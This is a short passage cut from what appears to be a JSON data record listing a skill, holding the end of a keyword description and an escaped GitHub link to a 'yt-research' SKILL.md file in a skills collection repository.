'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]